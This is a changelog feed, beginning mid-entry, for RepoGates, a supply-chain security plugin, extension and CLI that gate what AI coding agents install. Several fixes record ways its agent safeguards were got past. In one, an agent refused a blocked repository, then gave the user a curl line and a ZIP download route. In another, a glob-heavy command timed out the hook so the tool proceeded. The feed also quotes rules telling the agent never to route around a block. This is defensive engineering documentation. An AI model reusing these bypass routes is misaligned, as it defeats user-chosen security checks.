Changed: The hook now sends “clawhub@&lt;version&gt; install …” to be checked; through “pnpm dlx” or “yarn dlx” no other rule did, so the line ran unchecked.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.5</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-5"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.5</id>
    <updated>2026-09-27T00:00:00Z</updated>
    <content type="text">Changed: What the agent offers instead: a safer alternative, or a deep scan with its price first, started by the user on the account page — an agent&#x27;s deep scan does not scan a BLOCK, and the BLOCK stands either way. A campaign listing is offered no scan, because no scan clears one; nor is a Hugging Face model, a Docker Desktop extension or a ClawHub listing, which are not deep-scan sources.
Changed: “/repogates:setup” now says that in Claude Code&#x27;s auto mode a RepoGates ask does not reach you — auto mode decides it without a prompt — while a refusal still holds (scene S10).
Fixed: After a BLOCK the agent no longer hands you the route instead. Claude Code in VS Code and the Claude desktop app both refused a blocked repository correctly, then told the user how to get it anyway: a “curl” line to &quot;run yourself outside this session&quot;, and the repository&#x27;s Download ZIP button. The texts forbade the agent from routing around a block and said nothing about handing the route over. The vetting skill, “/repogates:scan”, the hook&#x27;s refusal and the MCP server&#x27;s tool descriptions and errors now say it: after a BLOCK, do not give the user a command, link or UI path to fetch the same repository another way.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.4</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-4"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.4</id>
    <updated>2026-09-26T00:00:00Z</updated>
    <content type="text">Added: ClawHub listings are assessed (K1b). “clawhub install @owner/slug”, a “clawhub.ai” listing URL and “npx skills add @owner/slug” already went to the “skill/claw/…” key; that key now comes back with a verdict from the 15 skill checks instead of &quot;not assessed&quot;. RepoGates reads the listing&#x27;s own record — which carries the whole SKILL.md, judged on its first 64 KB — and its published package (under a 512 KB cap) for the scripts beside it.
Changed: What ClawHub does not publish is said, not guessed: no source repository (S1 is listed as not checked) and no account record (the owner&#x27;s age is not assessed).
Changed: ClawHub&#x27;s own moderation is evidence, never a clearance: a listing it has blocked as malware is refused (a CRIT under S10), one it marks suspicious is a warning (HIGH), and its silence on any other listing is only a note. A listing ClawHub has removed answers &quot;not assessable&quot;, never a pass.</content>
  </entry>
  <entry>
    <title>Browser extension 0.8.3</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#extension-0-8-3"/>
    <id>tag:repogates.com,2026:changelog/extension/0.8.3</id>
    <updated>2026-09-26T00:00:00Z</updated>
    <content type="text">Served: 26 September 2026 (Chrome Web Store). Also carries 0.5.0, 0.6.0, 0.7.0, 0.8.0, 0.8.1, 0.8.2, built and never served on their own.
Security: A release asset reached through a redirect that is not GitHub&#x27;s own (a shortener, another domain) is traced to its repository by the numeric id in the CDN path, through GitHub&#x27;s public “/repositories/&lt;id&gt;” API. When GitHub does not name it (private, gone, no answer in 4 s) the download is unassessable and failMode decides — it used to go through unchecked.
Security: Proceed and deep-scan messages are accepted from the extension&#x27;s own block page only, never from a content script on a GitHub, GitLab or Hugging Face page (an org&#x27;s allowOverride:false could be bypassed there).
Added: Sized scan pricing (plan Part O): the panel prices a scan before the click (“POST /v1/deepscan/quote”) — &quot;A scan of this repository costs 3 credits (80,977 files, 130 MB)&quot; — the button names a price above one, the start sends it as “accept_credits”, and a 409 naming a new price becomes a button that agrees to exactly that. The count reads &quot;credits left&quot;, not &quot;scans left&quot;. New refusals: “confirm_credits”, “insufficient_credits”, “fair_use”, each showing the server&#x27;s own sentence.
Added: The security ticker on every board carries a WATCHING line naming six platforms — GitHub, Hugging Face, VS Code Marketplace, Docker Desktop, GitLab and AI-agent skills — with the campaigns active on each, &quot;quiet&quot; stated when there are none, and a link to that platform&#x27;s intelligence page. The board and the download gate stay on github.com, huggingface.co and gitlab.com; the other platforms are assessed through the MCP server and the Claude Code plugin.
Added: The cross-host &quot;Contagious Interview&quot; recruiter-lure campaign joins the ticker (GitHub, GitLab and Bitbucket lures; the payload is off-platform).
Added: gitlab.com: the trust board on a project page (the 22 checks; what gitlab.com&#x27;s API withholds from an anonymous caller — fork status, a user namespace&#x27;s age, OpenSSF Scorecard — is listed as not checked, never assumed) and the download gate on the Download button&#x27;s archive, raw files, release assets and the API archive. A self-managed GitLab on another hostname is not covered. New host permission “https://gitlab.com/*”.
Added: huggingface.co: the trust board on a model, dataset or Space page — 18 checks covering the Hub&#x27;s own malware and pickle-import scans, pickle-only weights, custom code loaded on import, dataset and Space risks — and the download gate on a weight file fetched through the browser. New host permissions for huggingface.co and hf.co. PRIVACY.md v3.
Added: The four dimension verdicts on the board — open in an editor, clone, install and run, hand to an AI agent — each naming which checks fired and which could not run, as the server sends them.
Added: The delta since the previous assessment beside the score (&quot;down 6 since 3 Sep&quot;) and which checks newly fired or cleared; assessments kept 180 days.
Changed: The Chrome Web Store rejected 0.8.2 as keyword spam (Yellow Argon): its summary listed six platforms, three of which this extension never touches. The summary is now one sentence about what the extension does, naming the three sites it works on.
Changed: Privacy notice version 5: the GitHub lookup above is the one new thing that leaves the browser — the numeric id of a release asset, sent to GitHub, which is already serving that download; nothing new is sent to RepoGates.
Changed: The deep-scan panel&#x27;s bar is the job&#x27;s own report (progress schema 2, docs/20): &quot;step 3 of 7 — scanning for hostile behaviour · 42% · about 6 min left&quot;, with a row of steps under it (finished, running with its percentage, waiting). Download and unpack are measured; each engine is estimated from the repository&#x27;s size until it returns. The bar never fills before the result and never moves backwards.
Changed: Store title and summary: &quot;RepoGates — AI Supply Chain Security for Developers&quot;; &quot;Checks what you and your AI agents install: GitHub, Hugging Face, GitLab, VS Code, Docker Desktop, agent skills. Gates downloads.&quot; The browser board and gate stay on github.com, huggingface.co and gitlab.com; the other sources are answered through the MCP server and the Claude Code plugin, which the detailed description says in its first screen.
Changed: The options page names the six platforms of the security ticker (agent skills joined the feed on 20 September).
Changed: The block page and Options say &quot;see plans&quot; instead of &quot;$29/year&quot;, so a price change on the website never needs a new package.
Changed: Store title and summary: &quot;RepoGates — GitHub Repo Security &amp; Download Gate&quot;; &quot;Is this GitHub repo safe? 22 published checks, a gate on the download, known malware blocked for good. Hugging Face and GitLab too.&quot;
Changed: Privacy notice version 4 (one notice for versions 3 and 4: Hugging Face and gitlab.com), shown once after install or update; PRIVACY.md v4.
Changed: Ticker campaign titles carry their marketplace when the page is another (GlassWorm on Open VSX reads &quot;VS Code Marketplace: …&quot; on a GitHub page).
Changed: The options page no longer describes itself as GitHub-only.
Changed: The privacy policy names the sub-processors and carries the Limited Use disclosure Chrome&#x27;s policy requires (the 13 September refusal).
Fixed: A raw file linked from outside GitHub (“raw.githubusercontent.com/&lt;o&gt;/&lt;r&gt;/…”) is gated under its repository; it was not matched at all.
Fixed: A download on a cold service worker waits for the stored config and campaign blocklist before deciding.
Fixed: An account-synced allowlist line or a campaign entry that names an AI-agent skill or plugin (“skill/gh/…”, “skill/plugin/…”, “skill/claw/…”) is read as one: the key table gains the “skill” row, so the five skill-platform blocklist entries match by their account and no “skill/…” key falls through to GitHub&#x27;s owner rules.
Fixed: A scan that is reporting is waited on for 35 minutes (the job&#x27;s ceiling) rather than given up at eight; the start line names the estimate for a large repository (&quot;about 14 minutes for a repository this size&quot;).
Fixed: Hugging Face score requests routed to “/v1/hf/score” (a 0.6.0 defect).
Fixed: The board no longer says the check that blocked a download (C22, AI-agent provenance) had not run.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.3</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-3"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.3</id>
    <updated>2026-09-24T00:00:00Z</updated>
    <content type="text">Changed: The hint is offered only where it leads somewhere: a REVIEW on a “owner/repo” GitHub key, which is what “/repogates:scan” takes. A VS Code extension, a Hugging Face model, a GitLab project, a skill and a Docker Desktop extension no longer get a hint that names a command that would refuse them.
Fixed: The link on every deny and ask now goes to a page that exists: https://repogates.com/docs/how-decisions-are-made.html. It used to be “report.html?repo=&lt;key&gt;”, and “report.html” opens a deep scan by “?scan=&lt;id&gt;” and ignores “repo” — every reader who clicked it since the first release landed on &quot;No scan was named&quot;.
Fixed: The key in the deep-scan hint is no longer cut short. The hook took the first “word/word” anywhere in the reason, so a platform key lost everything after its second segment: “vsx/malkolm/theme-artschool-remake” became “vsx/malkolm”, and “dde/library/nginx” became “dde/library” — the GitHub owner “library”, a different thing entirely.
Fixed: A long reason no longer eats the tail of the message: what the hook adds after the server&#x27;s reason (what to do, the hint, the link) is inside the cap now, not past it.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.2</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-2"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.2</id>
    <updated>2026-09-24T00:00:00Z</updated>
    <content type="text">Security: The preflight hook no longer expands globs. A line such as “npm i x # /*/*/*/*/*/*” spent more than 20 s globbing the filesystem, past Claude Code&#x27;s 15 s kill, after which the tool proceeds. The request timeout is also capped at 5 s (connect 3 s) whatever “REPOGATES_TIMEOUT” says.
Security: The token is sent only to RepoGates. “REPOGATES_API_BASE” must be https on repogates.com or a subdomain (or http to 127.0.0.1/localhost for development); anything else is an ask, with nothing sent. A project&#x27;s “.claude/settings.json” can set that variable.
Security: The token reaches curl on stdin (“-K -”), never on its command line, where the process list showed it.
Security: “/repogates:scan” refuses a ref that walks a path (“..”, “//”, a leading “/” or “.”).
Security: “/repogates:checkup” runs “repogates-checkup” 0.1.1, which redacts credential headers (“-H &quot;Authorization: Bearer …&quot;”), flags named like a credential (“--access-token”, “--client-secret”, “--api_key”) and Bearer tokens anywhere, and skips a plugin file that is a device or FIFO instead of reading it forever.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.1.1</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-1-1"/>
    <id>tag:repogates.com,2026:changelog/cli/0.1.1</id>
    <updated>2026-09-24T00:00:00Z</updated>
    <content type="text">Security: Credential headers, flags named like a credential and Bearer tokens anywhere on a launch line are redacted before anything is sent.
Fixed: A plugin file that is a device or a FIFO is skipped instead of read forever.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.1</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-1"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.1</id>
    <updated>2026-09-22T00:00:00Z</updated>
    <content type="text">Added: “/repogates:scan” prices a deep scan before it starts: “scan.sh --quote” reads “POST /v1/deepscan/quote” (the size it is priced on, the credits it would spend, the account&#x27;s balance), the command asks with that price, and “scan.sh --accept N” starts it for at most N credits. A scan costs one to three credits by the repository&#x27;s size once RepoGates&#x27; sized pricing is in force (plan Part O); until then every scan is one, and the quote says what a scan that size will cost from the date.
Added: New refusals read: “confirm_credits” (the price changed — quote and ask again), “insufficient_credits”, “fair_use” (with its reset date).
Changed: The hook&#x27;s ask on a REVIEW says &quot;one to three scan credits by size&quot;.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.0</id>
    <updated>2026-09-21T00:00:00Z</updated>
    <content type="text">Added: “/repogates:checkup” (K2c): the agent check-up. The command runs the “repogates-checkup” CLI from the wheel repogates.com serves (“uvx --from https://repogates.com/cli/repogates_checkup-0.1.0-py3-none-any.whl repogates-checkup --json”, its sha256 beside it; a test pins the version to “cli/pyproject.toml”), reads its JSON and reports the run&#x27;s score, grade and action, each agent as inventoried, detected-only or absent, every finding behind a block or a warning with its fix, what was not assessed and why, and the “sent:” line - what left the machine. The check-up reads your AI-agent configuration on your machine and sends RepoGates identifiers, never contents; it never runs a program, never changes a file, and never blocks anything. It cannot see what a plugin&#x27;s code does at runtime (the deep scan is for that); an agent not in its list is reported as not present; in this version Claude Code and Claude Desktop are read in full, and Cursor, Windsurf, Codex CLI, Gemini CLI, Cline, VS Code and OpenClaw are detected, not inventoried - no score for those, never a 100. Without “uvx” or “pipx” the command points at uv&#x27;s documentation or “pip install --user pipx” and stops; it never installs a runner with a “curl | sh” line. Part of Personal, Premium and Team.
Added: The MCP server gains “last_checkup()” - the eleventh tool, read-only: the account&#x27;s most recent check-up as stored, identifiers and verdicts only, with the fixes from the served rule set. No MCP tool reads the machine.
Changed: The vetting skill says where to look at what is already installed.
Changed: The served rule set is version 2: “api.repogates.com” and “mcp.repogates.com” are known MCP hosts.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.1.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-1-0"/>
    <id>tag:repogates.com,2026:changelog/cli/0.1.0</id>
    <updated>2026-09-21T00:00:00Z</updated>
    <content type="text">Added: The agent check-up: a read-only inventory of what an AI-agent installation already has — plugins and their marketplaces, skills, commands and subagents, MCP servers, hooks, permission rules, instruction files — scored by RepoGates. It sends RepoGates identifiers, never contents. Served as a wheel from repogates.com only.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.8.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-8-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.8.0</id>
    <updated>2026-09-20T00:00:00Z</updated>
    <content type="text">Added: AI-agent skills and Claude Code plugins (K1-3): the hook&#x27;s fast path now recognises the skills CLI (“npx skills add owner/repo”, also “use” and “install”, “bunx”/“pnpx”, “owner/repo/skills/name” for one skill directory, a github.com “/tree/&lt;ref&gt;/&lt;skill dir&gt;” URL, a skills.sh listing), Claude Code&#x27;s own plugin CLI (“claude plugin install name@marketplace” for the three Anthropic marketplaces — “claude-plugins-official”, “claude-plugins-community”, “claude-code” — or “--marketplace owner/repo”; “claude plugin marketplace add owner/repo” assesses the marketplace repository through the 22) and the ClawHub CLI (“clawhub install @owner/skill”), and sends them to the same preflight, which assesses the skill or plugin against the 15 skill checks under its “skill/{gh|plugin|claw}/…” key — the SKILL.md frontmatter and text, the scripts beside it, a plugin&#x27;s hooks, MCP servers, monitors and settings — with the source repository through the 22 on the same pass. A ClawHub skill is parsed and routed but not yet assessed on this tier: the hook asks, never a pass. A marketplace name that is not one of the three is local state the parser cannot read and comes back &quot;ask&quot; with the fix (“--marketplace owner/repo”); “--plugin-url”, a local path and an archive URL are asked about, never guessed. A gitlab.com skill source is assessed as a GitLab project (the 22), not as a skill, and the reason says so.
Changed: Behaviour change: “npx skills add owner/repo” used to resolve the npm package “skills” (the CLI itself) and never its target; it now resolves the target. “npx skills” alone, and “npx skills list”, still resolve the package.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.7.2</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-7-2"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.7.2</id>
    <updated>2026-09-20T00:00:00Z</updated>
    <content type="text">Changed: The vetting skill says what “active_campaigns” now returns: beside the active campaigns, which of GitHub, Hugging Face, VS Code Marketplace, Docker Desktop and GitLab has one and which is quiet. The hook is unchanged.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.7.1</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-7-1"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.7.1</id>
    <updated>2026-09-20T00:00:00Z</updated>
    <content type="text">Changed: “/repogates:setup” states the hook&#x27;s coverage as it is: the GitHub verbs, a gitlab.com project, a Hugging Face model, dataset or Space, a VS Code Marketplace extension and a Docker Desktop extension, with what none of them sees. The paragraph had named GitHub only since 0.3.0 while the hook grew four platforms; the hook itself is unchanged.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.7.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-7-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.7.0</id>
    <updated>2026-09-19T00:00:00Z</updated>
    <content type="text">Added: GitLab (G-2): a “git clone” of a gitlab.com project — https, ssh or “git@gitlab.com:group/sub/project.git”, subgroups included — a “pip install git+https://gitlab.com/…”, “go get gitlab.com/…”, npm&#x27;s “gitlab:owner/repo” shorthand, “glab repo clone”, and any gitlab.com URL the line names (the project page, its “/-/archive/” Download button, a “/-/raw/” file, a “/-/releases/&lt;tag&gt;/downloads/” asset) go to the same preflight, which assesses the project against the same 22 checks the GitHub roster runs, under its “gl/{namespace…}/{project}” key. What GitLab&#x27;s API withholds from an anonymous caller — fork status, a user namespace&#x27;s account age, OpenSSF Scorecard — is listed as not checked, never assumed. A self-managed GitLab (another hostname) is not assessed and the line is not sent. The MCP tools take “platform=&quot;gl&quot;”, with the namespace path as “owner” (it may carry slashes) and the project as “repo”; “check_download_url” resolves the gitlab.com shapes above.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.6.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-6-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.6.0</id>
    <updated>2026-09-18T00:00:00Z</updated>
    <content type="text">Added: Docker Desktop extensions (D2): the hook&#x27;s fast path now recognises “docker extension install owner/name[:tag]” and “docker extension update”, the Hub&#x27;s extension pages (“hub.docker.com/extensions/…”) and Docker Desktop&#x27;s own marketplace deep link (“open.docker.com/extensions/marketplace?extensionId=…”), and sends them to the same preflight, which assesses the extension against the 11 Docker Desktop checks under its “dde/{owner}/{name}” key without pulling the image; the source repository the image labels declare is assessed through the 22 on the same pass. An image on another registry (ghcr.io, a private one) is not a Hub extension and comes back &quot;ask&quot;, never a guess. An extension installed from Docker Desktop&#x27;s own Extensions Marketplace tab is the app&#x27;s own fetch and the hook does not see it; the skill says so and gates the extension with “assert_allowed(owner, name, platform=&quot;dde&quot;)” before telling the user to install it. “docker extension ls” never leaves the machine.
Changed: The repogates-vetting skill gains the Docker Desktop paragraph: the “dde” platform argument on “check_repo”/“assert_allowed”, Hub extension pages in “check_download_url”, and the marketplace-tab scope sentence.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.5.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-5-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.5.0</id>
    <updated>2026-09-18T00:00:00Z</updated>
    <content type="text">Added: VS Code Marketplace (V3): the hook&#x27;s fast path now recognises the one shell verb that installs an extension — “code --install-extension publisher.extension” (also “cursor”, “windsurf”, “codium”, “--install-extension=id”, an “@version” suffix) — and any marketplace.visualstudio.com listing URL, and sends them to the same preflight, which assesses the extension against the 17 VS Code Marketplace checks under its “vsx/{publisher}/{extension}” key; the extension&#x27;s declared source repository is assessed through the 22 on the same pass. A local “.vsix” names no listing and an Open VSX URL is a different registry: both come back as &quot;ask&quot;, never a guess. An extension installed from the editor&#x27;s own UI, or one that auto-updates, is not a shell line and the hook does not see it; the skill says so and gates the extension with “assert_allowed(publisher, extension, platform=&quot;vsx&quot;)” before telling the user to install it. “code .”, “--list-extensions” and “--uninstall-extension” never leave the machine.
Changed: The repogates-vetting skill covers the Marketplace: the “vsx” platform argument on “check_repo”/“assert_allowed”, listing URLs in “check_download_url”, the “source” field, and the editor-UI scope sentence.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.4.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-4-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.4.0</id>
    <updated>2026-09-11T00:00:00Z</updated>
    <content type="text">Added: Hugging Face (HF-2): the hook&#x27;s fast path now recognises Hub lines — any huggingface.co / hf.co URL, “hf download” and “huggingface-cli download” (with “--repo-type”), “huggingface-cli repo clone”, and “git lfs clone” — and sends them to the same preflight, which assesses the model, dataset or Space against the 18 Hugging Face checks under its “hf/{kind}/{org}/{name}” key. A Python “from_pretrained()” call is not a shell line and the hook does not see it; the skill says so and gates the model with “assert_allowed(org, model, platform=&quot;hf&quot;)” before the code is written.
Changed: The repogates-vetting skill covers the Hub: platform argument on “check_repo”/“assert_allowed”, Hub URLs in “check_download_url”, the CDN-link limitation, and the “from_pretrained” scope sentence.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.3.1</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-3-1"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.3.1</id>
    <updated>2026-09-09T00:00:00Z</updated>
    <content type="text">Changed: Distributed from repogates.com and nowhere else. Install with “/plugin marketplace add https://repogates.com/plugin/marketplace.json”, then “/plugin install repogates@repogates”. The marketplace file pins the zip&#x27;s URL and sha256, so what installs is exactly what was built; an update is a new version and a new digest in the same file. The GitHub repository that mirrored this plugin is private. No change to the hook, the commands or the skill.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.3.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-3-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.3.0</id>
    <updated>2026-09-07T00:00:00Z</updated>
    <content type="text">Added: A package named on the line — “npm install express”, “pip install flask”, “npx create-vite”, “yarn add”, “uv add” — is resolved through its registry (npm, PyPI) to the source repository it declares, and that repository is assessed like any other. A package that declares none is allowed with a note; a registry that does not answer is asked about. Direct dependencies named on the command line only; transitive dependencies and lockfiles are not resolved.
Changed: The hook now sends such lines; “npm install”, “npm ci” and “pip install -r requirements.txt” still never leave the machine.
Changed: A preflight entry says why each check that did not run did not run (“not_checked_why”), so &quot;C22 not checked&quot; no longer reads as a defect: no API call carries the browser signal that check needs.
Changed: The hook decides on your policy profile&#x27;s action, as the browser extension always has, not on the raw verdict: a devcontainer (CRIT, and BLOCK by severity) is a warning under every shipped profile, so “pip install flask” now asks instead of refusing. Entries carry “action” and “drivers” beside “verdict”, and a “policy” sentence whenever the two differ.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.2.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-2-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.2.0</id>
    <updated>2026-09-07T00:00:00Z</updated>
    <content type="text">Added: “/repogates:scan owner/repo” — a deep scan of the repository&#x27;s files before cloning or installing (malware, secrets, dependencies, behaviour, in an isolated sandbox). Spends one scan credit; the command asks first. The hook&#x27;s &quot;ask&quot; now suggests it on a REVIEW.
Added: The MCP server gains “deep_scan” and “deep_scan_status” for the same step in Claude.ai and Cowork; “preflight” entries name the checks that did not run.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.1.0</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-1-0"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.1.0</id>
    <updated>2026-09-06T00:00:00Z</updated>
    <content type="text">Added: PreToolUse hook on Bash: refuses a command line that names a repository RepoGates blocks or lists in an active malware campaign; asks on REVIEW, unassessable, unresolvable, capped or pending; on PASS adds a one-line note and leaves Claude Code&#x27;s own permission prompt in force. Every failure of the hook itself is &quot;ask&quot;, never &quot;proceed&quot;.
Added: “.mcp.json” adds the RepoGates MCP server (seven read-only tools, including “preflight”).
Added: “repogates-vetting” skill: ask first, explain a refusal, never route around one.
Added: “/repogates:setup” checks the token and exercises the hook against the known-blocked canary repository.</content>
  </entry>
  <entry>
    <title>Browser extension 0.4.6</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#extension-0-4-6"/>
    <id>tag:repogates.com,2026:changelog/extension/0.4.6</id>
    <updated>2026-09-03T00:00:00Z</updated>
    <content type="text">Served: 3 September 2026 (Chrome Web Store, unlisted).
Added: The board says which account the extension is spending from.
Fixed: The deep-scan option survives a service-worker restart; the scan shows its progress by finished steps, says when it is done and links the report.
Fixed: A repository nobody could check has no score (not 100); no green 100 on GitHub advisory pages; the advisory feed names repositories, not packages.</content>
  </entry>
</feed>
